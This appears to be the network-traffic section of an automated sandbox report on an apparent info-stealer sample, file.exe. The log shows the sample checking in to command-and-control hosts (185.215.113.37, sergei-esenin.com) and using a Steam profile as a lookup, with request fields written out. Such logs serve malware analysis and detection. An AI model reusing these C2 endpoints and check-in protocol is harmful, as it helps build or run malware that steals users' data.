Oct 24, 2024 18:10:15.570635080 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 24, 2024 18:10:16.450495958 CEST	203	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 16:10:16 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 18:10:16.524501085 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJDBGDHIIDAEBFHJJDBF Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 44 42 47 44 48 49 49 44 41 45 42 46 48 4a 4a 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 35 35 43 37 39 45 34 46 33 37 42 31 39 35 33 34 34 38 30 31 39 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 42 47 44 48 49 49 44 41 45 42 46 48 4a 4a 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 42 47 44 48 49 49 44 41 45 42 46 48 4a 4a 44 42 46 2d 2d 0d 0a Data Ascii: ------JJDBGDHIIDAEBFHJJDBFContent-Disposition: form-data; name="hwid"A55C79E4F37B1953448019------JJDBGDHIIDAEBFHJJDBFContent-Disposition: form-data; name="build"doma------JJDBGDHIIDAEBFHJJDBF--
Oct 24, 2024 18:10:16.807574034 CEST	210	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 16:10:16 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49708	104.102.49.254	443	7160	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 16:08:00 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-10-24 16:08:01 UTC	1917	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https:// [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Thu, 24 Oct 2024 16:08:01 GMT Content-Length: 35741 Connection: close Set-Cookie: sessionid=cfac046760478cb378cd12f6; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cbcfeb0e5371aba24e9977faccad43253; Path=/; Secure; HttpOnly; SameSite=None
2024-10-24 16:08:01 UTC	14467	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-10-24 16:08:01 UTC	16384	IN	Data Raw: 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 64 69 73 63 75 73 73 69 6f 6e 73 2f 22 3e 0d 0a 09 09 09 09 09 09 44 69 73 63 75 73 73 69 6f 6e 73 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 77 6f 72 6b 73 68 6f 70 2f 22 3e 0d 0a 09 09 09 09 09 09 57 6f 72 6b 73 68 6f 70 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 Data Ascii: <a class="submenuitem" href="https://steamcommunity.com/discussions/">Discussions</a><a class="submenuitem" href="https://steamcommunity.com/workshop/">Workshop</a><a class="submenuit
2024-10-24 16:08:01 UTC	3768	IN	Data Raw: 63 31 63 64 66 65 62 5f 66 75 6c 6c 2e 6a 70 67 22 3e 0d 0a 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 0d 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f 62 61 64 67 65 69 6e 66 6f 22 3e 0d 0a 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f 62 61 64 67 65 69 6e 66 6f 5f 62 61 64 67 65 5f 61 72 65 61 22 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 64 61 74 61 2d 70 61 6e 65 6c 3d 22 7b 26 71 75 6f 74 3b 66 6f 63 75 73 61 62 6c 65 26 71 75 6f 74 3b 3a 74 72 75 65 2c 26 71 75 6f 74 3b 63 6c 69 63 6b 4f 6e 41 63 74 69 76 61 74 65 26 71 75 6f 74 3b 3a 74 72 75 65 7d 22 20 63 6c 61 73 73 3d 22 70 65 Data Ascii: c1cdfeb_full.jpg"></div></div><div class="profile_header_badgeinfo"><div class="profile_header_badgeinfo_badge_area"><a data-panel="{"focusable":true,"clickOnActivate":true}" class="pe
2024-10-24 16:08:01 UTC	1122	IN	Data Raw: 70 72 6f 70 65 72 74 79 20 6f 66 20 74 68 65 69 72 20 72 65 73 70 65 63 74 69 76 65 20 6f 77 6e 65 72 73 20 69 6e 20 74 68 65 20 55 53 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 75 6e 74 72 69 65 73 2e 3c 62 72 2f 3e 53 6f 6d 65 20 67 65 6f 73 70 61 74 69 61 6c 20 64 61 74 61 20 6f 6e 20 74 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 70 72 6f 76 69 64 65 64 20 62 79 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 6c 69 6e 6b 66 69 6c 74 65 72 2f 3f 75 3d 68 74 74 70 25 33 41 25 32 46 25 32 46 77 77 77 2e 67 65 6f 6e 61 6d 65 73 2e 6f 72 67 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 72 65 6c 3d 22 20 6e 6f 6f 70 65 6e 65 72 22 3e 67 65 6f 6e 61 6d 65 73 2e 6f 72 67 3c 2f 61 3e 2e 09 09 Data Ascii: property of their respective owners in the US and other countries.<br/>Some geospatial data on this website is provided by <a href="https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org" target="_blank" rel=" noopener">geonames.org</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49709	104.21.53.8	443	7160	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 16:08:02 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: sergei-esenin.com
2024-10-24 16:08:02 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-24 16:08:02 UTC	560	IN	HTTP/1.1 403 Forbidden Date: Thu, 24 Oct 2024 16:08:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TlU80XxykVYXECvBNVn09ItjFQrnzU8iKuNtTYuET0C6bWQ1QFZ9lgPVtbWfEgy2qrnwv%2BAuvjWg10xT1LfJ0Q6xDD9D9%2BYBWah6DcfpbkaQ4%2FZ9JLDgn9lbJ1loFt1WXRXYzA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d7b39269ac7e7c7-DFW
2024-10-24 16:08:02 UTC	809	IN	Data Raw: 31 31 35 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1154<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2024-10-24 16:08:02 UTC	1369	IN	Data Raw: 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 29 20 7b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 63 6f 6f 6b 69 65 45 6c 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 Data Ascii: i/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElementB
2024-10-24 16:08:02 UTC	1369	IN	Data Raw: 73 2d 6d 61 6e 61 67 65 6d 65 6e 74 2f 70 68 69 73 68 69 6e 67 2d 61 74 74 61 63 6b 2f 22 20 63 6c 61 73 73 3d 22 63 66 2d 62 74 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 34 30 34 30 34 30 3b 20 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 62 6f 72 64 65 72 3a 20 30 3b 22 3e 4c 65 61 72 6e 20 4d 6f 72 65 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 66 6f 72 6d 20 61 63 74 69 6f 6e 3d 22 2f 63 64 6e 2d 63 67 69 2f 70 68 69 73 68 2d 62 79 70 61 73 73 22 20 6d 65 74 68 6f 64 3d 22 47 45 54 22 20 65 6e 63 74 79 70 65 3d 22 74 65 78 74 2f 70 6c 61 69 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: s-management/phishing-attack/" class="cf-btn" style="background-color: #404040; color: #fff; border: 0;">Learn More</a> <form action="/cdn-cgi/phish-bypass" method="GET" enctype="text/plain">
2024-10-24 16:08:02 UTC	897	IN	Data Raw: 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 3c 73 70 61 6e 3e 50 65 72 66 6f 72 6d 61 6e 63 65 20 26 61 6d 70 3b 20 73 65 63 75 72 69 74 79 20 62 79 3c 2f 73 70 61 6e 3e 20 3c 61 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 35 78 78 2d 65 72 72 6f 72 2d 6c 61 6e 64 69 6e Data Ascii: </span> <span class="cf-footer-separator sm:hidden">•</span> </span> <span class="cf-footer-item sm:block sm:mb-1"><span>Performance & security by</span> <a rel="noopener noreferrer" href="https://www.cloudflare.com/5xx-error-landin
2024-10-24 16:08:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49710	104.21.53.8	443	7160	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 16:08:03 UTC	354	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=s4KtrosmuKQTdrzDnA.N9P1uz_p8Uae3P7mA5HUEw54-1729786082-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: sergei-esenin.com
2024-10-24 16:08:03 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-24 16:08:03 UTC	1024	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 16:08:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6s9m9s6qvi6tms1m5vjemq6glm; expires=Mon, 17 Feb 2025 09:54:42 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9%2BmNrmIv%2FAwEYhAFdTDp8%2FN4csI4xYODZlPTz2pbUYEZLaCmpA%2BHhf8tfIvU9kZStKXQW1BVmVie8%2FVlkrgSa6imLFyLmnCmkW%2FXGJEega9%2FXaP5l1ax7oEyWF4TAZ7ROj30Kw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d7b392bda1846a1-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1183&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=1042&delivery_rate=2383539&cwnd=251&unsent_bytes=0&cid=5b779f78f9817690&ts=531&x=0"
2024-10-24 16:08:03 UTC	345	IN	Data Raw: 31 64 38 35 0d 0a 61 6f 73 35 79 30 53 70 6b 41 70 77 4e 73 58 74 43 6b 4e 33 32 68 72 6c 39 54 54 71 30 63 55 70 32 51 6d 65 38 4e 79 6a 5a 58 30 52 71 55 2f 70 66 70 32 38 4b 41 4e 54 35 39 64 2b 4d 51 4b 2f 4e 73 65 55 55 4d 6a 72 6f 30 69 31 65 76 76 63 2f 74 55 49 58 31 44 74 57 4b 63 33 7a 4c 77 6f 46 55 37 6e 31 31 45 34 56 62 39 30 78 38 38 57 6a 37 75 6e 53 4c 56 72 2f 35 75 7a 30 77 6b 65 41 75 64 65 6f 79 48 4b 39 47 73 63 57 36 43 49 62 79 49 64 74 48 4f 49 6e 56 6e 49 2f 65 64 4d 6f 79 75 6b 30 70 48 47 45 52 77 6e 36 6b 71 67 5a 74 53 38 63 56 4a 54 71 38 38 77 59 52 61 2f 65 49 6d 54 55 49 47 35 72 55 47 39 61 76 71 61 72 4d 6f 44 46 51 4c 70 58 61 49 72 77 2b 42 6d 46 6c 79 72 6a 6d 55 69 56 66 59 34 67 49 38 57 30 50 50 30 65 62 68 36 37 Data Ascii: 1d85aos5y0SpkApwNsXtCkN32hrl9TTq0cUp2Qme8NyjZX0RqU/pfp28KANT59d+MQK/NseUUMjro0i1evvc/tUIX1DtWKc3zLwoFU7n11E4Vb90x88Wj7unSLVr/5uz0wkeAudeoyHK9GscW6CIbyIdtHOInVnI/edMoyuk0pHGERwn6kqgZtS8cVJTq88wYRa/eImTUIG5rUG9avqarMoDFQLpXaIrw+BmFlyrjmUiVfY4gI8W0PP0ebh67
2024-10-24 16:08:03 UTC	1369	IN	Data Raw: 4c 58 31 43 70 58 61 63 6e 78 76 4a 36 47 6c 2b 73 69 6e 6f 71 48 4c 56 31 68 35 70 63 68 37 43 6e 54 4c 46 68 38 35 69 36 7a 41 6f 5a 43 4f 6b 62 35 32 62 4d 36 69 68 4b 46 49 53 4b 65 43 59 5a 72 6a 71 39 31 30 6e 47 71 75 64 4d 74 79 75 6b 30 72 62 45 42 42 77 44 35 6c 69 68 4c 64 6e 79 65 68 52 5a 6f 70 31 75 4a 42 75 79 65 35 57 64 57 49 36 77 72 6b 43 79 62 76 75 57 2f 6f 39 48 47 42 43 70 41 2b 6b 48 78 76 6c 6b 47 45 4f 6e 7a 33 64 76 44 50 68 2f 69 39 63 4f 79 4c 65 6d 54 37 70 76 38 70 79 36 7a 51 45 52 42 65 5a 64 6f 79 62 4d 2b 47 41 61 56 61 71 45 5a 79 45 51 74 58 79 42 6d 31 65 4e 38 2b 6b 4c 76 48 4f 38 79 76 37 76 41 42 77 61 71 32 36 71 4b 4d 58 31 66 6c 4a 4c 36 5a 59 6f 4a 68 6e 34 49 4d 65 5a 55 34 65 68 70 6c 6d 2b 5a 65 36 65 75 38 Data Ascii: LX1CpXacnxvJ6Gl+sinoqHLV1h5pch7CnTLFh85i6zAoZCOkb52bM6ihKFISKeCYZrjq910nGqudMtyuk0rbEBBwD5lihLdnyehRZop1uJBuye5WdWI6wrkCybvuW/o9HGBCpA+kHxvlkGEOnz3dvDPh/i9cOyLemT7pv8py6zQERBeZdoybM+GAaVaqEZyEQtXyBm1eN8+kLvHO8yv7vABwaq26qKMX1flJL6ZYoJhn4IMeZU4ehplm+Ze6eu8
2024-10-24 16:08:03 UTC	1369	IN	Data Raw: 71 32 36 71 4b 4d 58 31 66 6c 4a 4c 36 5a 59 6f 4a 68 6e 34 49 4d 65 62 58 34 69 34 72 55 2b 37 62 50 47 58 76 63 59 45 45 67 2f 6a 56 61 34 69 78 2f 74 6c 46 46 53 67 69 32 30 7a 45 4c 46 30 69 39 63 59 79 4c 53 2f 43 2b 4d 72 30 35 57 6f 77 69 67 63 47 65 41 62 74 6d 6a 53 73 6d 38 65 46 50 2f 50 62 79 51 64 73 33 36 50 6c 30 53 4e 76 61 78 4b 73 57 33 39 6e 37 4c 48 42 78 34 49 37 31 65 70 49 63 7a 67 65 68 64 53 74 59 55 6f 62 31 57 2f 59 4d 66 50 46 72 36 6a 73 46 71 74 4b 63 6d 52 73 4d 38 41 43 55 6a 32 46 62 42 6d 7a 50 34 6f 53 68 53 73 6a 32 51 6d 48 62 35 38 6a 35 68 5a 67 61 47 6d 52 37 56 35 2b 35 4b 33 7a 77 67 54 41 65 52 63 70 43 33 42 2f 32 77 56 56 65 66 42 4b 43 59 4e 2b 43 44 48 6f 55 61 46 76 34 6c 41 74 32 4b 38 6a 66 44 59 52 78 67 Data Ascii: q26qKMX1flJL6ZYoJhn4IMebX4i4rU+7bPGXvcYEEg/jVa4ix/tlFFSgi20zELF0i9cYyLS/C+Mr05WowigcGeAbtmjSsm8eFP/PbyQds36Pl0SNvaxKsW39n7LHBx4I71epIczgehdStYUob1W/YMfPFr6jsFqtKcmRsM8ACUj2FbBmzP4oShSsj2QmHb58j5hZgaGmR7V5+5K3zwgTAeRcpC3B/2wVVefBKCYN+CDHoUaFv4lAt2K8jfDYRxg
2024-10-24 16:08:03 UTC	1369	IN	Data Raw: 53 37 4b 2f 47 63 54 55 4b 4b 4b 62 43 59 52 76 6e 66 48 32 52 61 50 71 2b 63 54 2b 30 54 62 70 2f 7a 67 50 56 38 58 70 30 4c 70 49 63 65 79 4d 46 4a 59 70 49 4e 67 4c 68 4f 78 64 49 32 65 58 59 53 34 6f 30 65 79 62 76 71 54 75 38 51 47 47 77 54 6a 58 61 6f 6c 78 50 31 6e 47 68 54 70 7a 32 38 35 56 65 41 34 6f 6f 42 64 68 72 58 6e 56 50 56 79 76 4a 57 79 67 56 39 66 42 4f 42 64 72 79 50 48 38 32 34 61 55 61 2b 4c 61 53 63 54 75 33 65 44 6b 6c 65 48 74 36 74 46 73 57 72 39 6e 72 58 4f 44 42 70 49 70 78 75 75 50 6f 75 71 4b 43 4e 58 73 5a 68 34 4c 56 57 6e 4e 70 37 58 55 59 54 7a 2f 77 75 36 65 66 61 59 73 4d 51 49 47 67 76 6d 58 4b 51 67 78 2f 68 68 47 6c 4b 6f 68 6e 6f 69 47 62 5a 2f 69 5a 74 59 68 62 6d 6b 52 76 73 6c 76 4a 57 6d 67 56 39 66 4a 4f 35 57 Data Ascii: S7K/GcTUKKKbCYRvnfH2RaPq+cT+0Tbp/zgPV8Xp0LpIceyMFJYpINgLhOxdI2eXYS4o0eybvqTu8QGGwTjXaolxP1nGhTpz285VeA4ooBdhrXnVPVyvJWygV9fBOBdryPH824aUa+LaScTu3eDkleHt6tFsWr9nrXODBpIpxuuPouqKCNXsZh4LVWnNp7XUYTz/wu6efaYsMQIGgvmXKQgx/hhGlKohnoiGbZ/iZtYhbmkRvslvJWmgV9fJO5W
2024-10-24 16:08:03 UTC	1369	IN	Data Raw: 78 36 46 30 61 31 7a 79 5a 68 45 71 41 34 33 39 64 67 6a 36 4f 33 53 50 6c 61 36 70 47 6f 79 67 6f 54 53 50 59 56 73 47 62 4d 2f 69 68 4b 46 4b 47 41 59 53 49 61 75 58 47 4c 6d 6c 4f 42 74 71 5a 4e 76 32 48 32 6b 72 6a 48 42 68 6f 43 36 6c 71 6a 4c 38 7a 36 62 78 46 47 35 38 45 6f 4a 67 33 34 49 4d 65 2b 55 5a 71 39 74 77 75 6b 4a 65 58 53 75 63 31 48 52 30 6a 74 55 61 59 69 7a 50 35 75 46 31 4b 71 6a 6d 63 67 46 62 64 38 6a 4a 35 51 69 62 36 69 52 72 39 35 39 70 6d 78 7a 51 34 54 42 61 6b 56 36 53 48 54 73 6a 42 53 5a 61 71 42 5a 69 59 44 2b 47 66 4a 6a 68 61 50 76 2b 63 54 2b 32 72 77 6e 62 33 4f 42 42 77 4a 34 30 6d 37 4b 73 4c 36 62 52 35 66 71 59 6c 36 4a 78 71 78 65 34 53 65 55 59 43 2f 72 55 69 38 4b 37 4c 53 75 64 6c 48 52 30 6a 4b 54 4c 6b 72 69 Data Ascii: x6F0a1zyZhEqA439dgj6O3SPla6pGoygoTSPYVsGbM/ihKFKGAYSIauXGLmlOBtqZNv2H2krjHBhoC6lqjL8z6bxFG58EoJg34IMe+UZq9twukJeXSuc1HR0jtUaYizP5uF1KqjmcgFbd8jJ5Qib6iRr959pmxzQ4TBakV6SHTsjBSZaqBZiYD+GfJjhaPv+cT+2rwnb3OBBwJ40m7KsL6bR5fqYl6Jxqxe4SeUYC/rUi8K7LSudlHR0jKTLkri
2024-10-24 16:08:03 UTC	1369	IN	Data Raw: 55 6f 59 5a 75 4a 68 4f 32 61 6f 4b 52 57 59 65 36 72 6b 2b 7a 61 50 79 57 75 73 59 43 48 41 54 69 58 4b 6f 70 7a 2f 74 6d 47 31 76 6e 77 53 67 6d 44 66 67 67 78 37 5a 4e 69 37 2b 71 43 36 51 6c 35 64 4b 35 7a 55 64 48 53 4f 56 56 72 43 62 42 39 47 77 58 55 71 32 4b 61 43 6f 57 74 33 79 42 6b 31 6d 49 75 4b 35 4b 76 57 37 32 6d 62 6a 4d 42 42 6b 4f 71 52 58 70 49 64 4f 79 4d 46 4a 30 76 49 4a 6b 4a 6c 57 6e 4e 70 37 58 55 59 54 7a 2f 77 75 77 5a 2f 69 56 76 73 77 45 46 77 33 74 55 61 77 6d 77 2b 42 67 45 6c 4f 31 6e 57 67 6f 45 4c 52 37 68 35 4e 51 67 62 57 6b 54 2f 73 6c 76 4a 57 6d 67 56 39 66 4a 65 56 63 67 43 48 51 73 6e 64 63 54 65 65 49 5a 47 46 4e 2b 48 6d 4d 6e 56 6d 46 73 4b 46 49 73 47 37 32 6b 37 6e 4a 43 67 30 4c 35 6c 53 74 4a 73 54 30 62 68 Data Ascii: 